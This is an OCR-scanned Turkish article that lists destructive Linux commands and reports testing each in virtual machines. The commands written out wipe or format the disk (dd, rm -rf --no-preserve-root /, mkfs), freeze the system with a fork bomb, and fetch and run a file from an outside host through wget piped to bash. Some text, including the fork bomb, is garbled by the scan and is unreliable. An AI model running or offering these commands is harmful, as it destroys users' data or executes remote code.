En Tehlikeli Linux Komutlar:
Asagida asla ¢alistirmamaniz gereken linux komutlar1 yer almaktadir.
NOT: Asagidaki komutlar sanal makinalar lizerinde snapshot alinarak sirayla denenmistir ve
sistem her bozuldugunda sanal makina snapshot'a restore edilerek diizeltilmistir.
1. Hard Diskin Uzerine Yazma
> echo "1" > /dev/sda
Yukaridaki komut ile 1 degeri sda'nin (yani hdd'nin) iizerine overwrite edilecektir. Boylece
hdd komple silinip yerine sadece 1 sayisi koyulacagindan format atmis gibi olacagiz.
Dolayisiyla isletim sistemi bir daha baslayamayacaktir.
(+) Bu olay kali-linux-1.0.4-amd64.iso denenmistir ve ardindan sistem bir daha
baslayamamuistir. Yani komut basariyla calistirilabilmistir.
2. Hard Diski Silme (I)
Bu komut hard diskimizi gercek anlamiyla sifirlarla doldurur. Her ne kadar bu komut
sisteminizi bagtan kurmak istiyorsaniz kullanigh goriinse de hard diskinizi bu sekilde silmek pek
de iyi bir fikir degildir.
dd if=/dev/zero of=/dev/sda
dd komutu low level bir kopyalama komutudur. if parametresi ile kopyalanacak veri belirtilirken
of parametresi ile de verilerin kopyalanacagi yer belirtilir. Orrnekte verilen /dev/zero sonsuz bir
sifir akisi olusturan linux komutudur. Dolayisiyla sonsuz sifir akisi sda'ya kopyalanacaktir.
Boylece hard diskimizde ne var ne yok her sey ucacaktir.
(+) Bu olay kali-linux-1.0.4-amd64.iso'da ve metasploitable'da denenmistir ve ardindan sistem
bir daha baglayamamistir. Yani komut basariyla calistirilabilmistir.
3. Hard Diski Silme (II)
Asagidaki kod ile hard diskteki isletim sistemi ve kisisel belgelere dair ne varsa komple silinir.

>rm -rf /

Normalde yukaridaki kod eger igletim sistemi tarafindan 6nlem alinmamigsa direk calisir. Fakat
kali su uyariy1 verdiginden

Output:
rm : it is dangerous to operate recursively on '/’

rm : use --no-preserve-root to override this failsafe

ciktida onerilen --no-preserve-root parametresini agsagidaki gibi kullanarak



> rm -rf --no-preserve-root /
sistemi hdd'den komple silebiliriz.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da denenmistir ve ardindan sistem bir daha
baslayamamistir. Yani komut basariyla calistirilabilmistir.

4. Sonsuz Recursive Dallanma ile Sistemi Kitleme
Asagidaki komut iki nokta st tist fonksiyonu tammlamasinda bulunmaktadir. Iki nokta iist

tiste fonksiyonu icerisinde ise kendisini ¢agiran iki nokta iist {iste fonksiyonlar1 bulunmakta
dir. Exit case yer almadigindan bu recursive fonksiyon sonsuza dek dallanacaktir.

> :0C[:&);:

Yukaridaki kodu anlamlandirabilmek i¢in acalim:

0 ( // Bash fonksiyon tanimi
& // 11k recursive ¢agirim | ikinci recursive cagirim
); // Bash fonksiyon tanim sonu
// Fonksiyon cagirilir

Goriildiigii tizere once iki nokta iist liste fonksiyonu tanimlanmistir. Sonra (en son satirda) bu
fonksiyon cagrilmistir. Fonksiyon tanimlamasi icerisine iki tane kendini ¢agiran fonksiyon
konmustur. Bu fonksiyonlardan ilki output'unu iiretip sagindaki fonksiyona pipe ile
aktarabilmek icin stirekli dallanacaktir. Bu dallanmalar sonucu hafiza (RAM) isgal
edilecektir ve sistem kisa bir siire igerisinde kitlenecektir. Sistem tekrar baglatilana kadar
kendine gelemeyecektir.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da denenmistir ve sistem kitlenmistir. Sistemi tekrar
baslatinca sorun diizelmistir. Yani komut basariyla calistirilabilmistir.

5. Uzak Sistemde Zararli Yazilhim Caligtirma

Bir sistemin komut satir1 komut satirimiza geldiginde hedef sisteme bir dosya atmak icin wget
kullanabiliriz. Ornegin diyelim ki zararli adl bir dosya olusturduk ve icine de sunu koyduk:

zararli
Is-1-a

Uzak sistemin bilgisayarina zararli dosyasim asagidaki kabuk koduyla indiririz.

> wget http://www.includekarabuk.com/zararli -O- | bash



-O- parametresi inen dosyay: bir dosya olarak sisteme kaydetmektense dosya icerigini stdout'a
vermeye yarar. Dolayisiyla Is -1 -a kodu pipeline ile bash komutuna input olacaktir. Bash kabugu
ise aldig1 icerigi calistirmay1 deneyecektir. Yani tipki terminal ekranina igerigi giriyormusuz gibi
calistiracaktir ve ¢iktiy1 ekrana basacaktir. Yukaridaki kabuk kodlamasi sonrasi ¢ikti olarak
ekrana su gelecektir:

Output:
-TW-TW-T-- 1rootroot 3067 Ara 21 2015 .bash_history
drwxrwxr-x 4 rootroot 4096 Eyl 23 21:14 .bashrc
-TW-TW-T-- 1rootroot 58922 Eki 25 14:25 .cache
-TW-TW-T-- 1rootroot 372224 Eyl 19 16:23 .config
-TW-TW-T-- 1rootroot 0 Oca 17 2016 .dbus
-TW-TW-T-- 1 root root 169 Agu 8 20:12 Desktop
-rwxrwxrwx 1rootroot 0 Ara 1 2015 .gconf
-rwxrwxrwx 1rootroot 0 Kas 7 2015 .gnome
-TW-ITW-TI-- 1rootroot 157 Eki 23 22:29 .mozilla

Goriildiigii tizere zararli dosyasinin icerigi bash kabugunun komut satirinda ¢alistirllmstir.
NOT: Uzak sistemde zararli dosyasim ¢alistirmak icin 6nce dosyay1 indirip sonra
> ./zararli
seklinde bir kullamim methodu da giidiilebilirdi. ikisi de aym ciktiy1 ekrana verecektir.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da denenmistir ve basariyla uygulanmistir.

6. Hard Diski Cope Atma

Baz1 6zel nedenlerden 6tiirii Linux’ta iizerine yazili olan tiim verileri ¢6pe atan /dev/null adinda
bir dosya vardir. Bu dosyay1 bir kara delik olarak diisiinebiliriz. Bu dosyaya atilan her sey kalci
olarak silinir.

>mv / /dev/null

Yukaridaki komut sistemin kok dizini olan "/" i /dev/null kara deligine tasimaya calisir. Bu
gecerli bir komuttur ama sonucu yikicidir. Hard disk bu ¢6p kutusuna atildiginda geriye

ne igletim sistemine dair ne de kisisel belgelere dair bir sey kalmaz. Bunu yaparsaniz sisteminiz
bir daha baglayamaz.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da ve metasploitable'da denenmistir ve fakat basarili
olunamamistir. Komut sonrasi ¢ikti olarak su gelmistir:

Output:
mv : target '/dev/null’ is not a directory.



Yani taginacak dosyalar ancak bir dizin i¢ine kopyalanabilir diyor. Dosya igine
kopyalanamaz diyor.

7. Hard Diski Formatlama

Bu terminal komutu 6zellikle Linux kullanmaya yeni baslayanlar icin tehlikelidir, ¢iinkii tekrarl
silme biiyiik bir yanhstir.

> mkfs.ext3 /dev/sda
Bu Linux komutu ext3 dosya sistemini kullanarak hard diski tekrar tekrar formatlar. Dolayisiyla

sisteminizi telafi edilemez bir duruma sokar. Ciinkii artik cesitli taklalar atarak ge¢mis verileri
kurtarma imkamn elinizden gitmis olur.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da ve metasploitable'da denenmistir ve fakat basaril
olunamamustir. Komut sonrasi ¢ikti olarak su gelmistir:

Output:
/dev/sda is apparently in use by the system; will not make a file system here!

Kaynak
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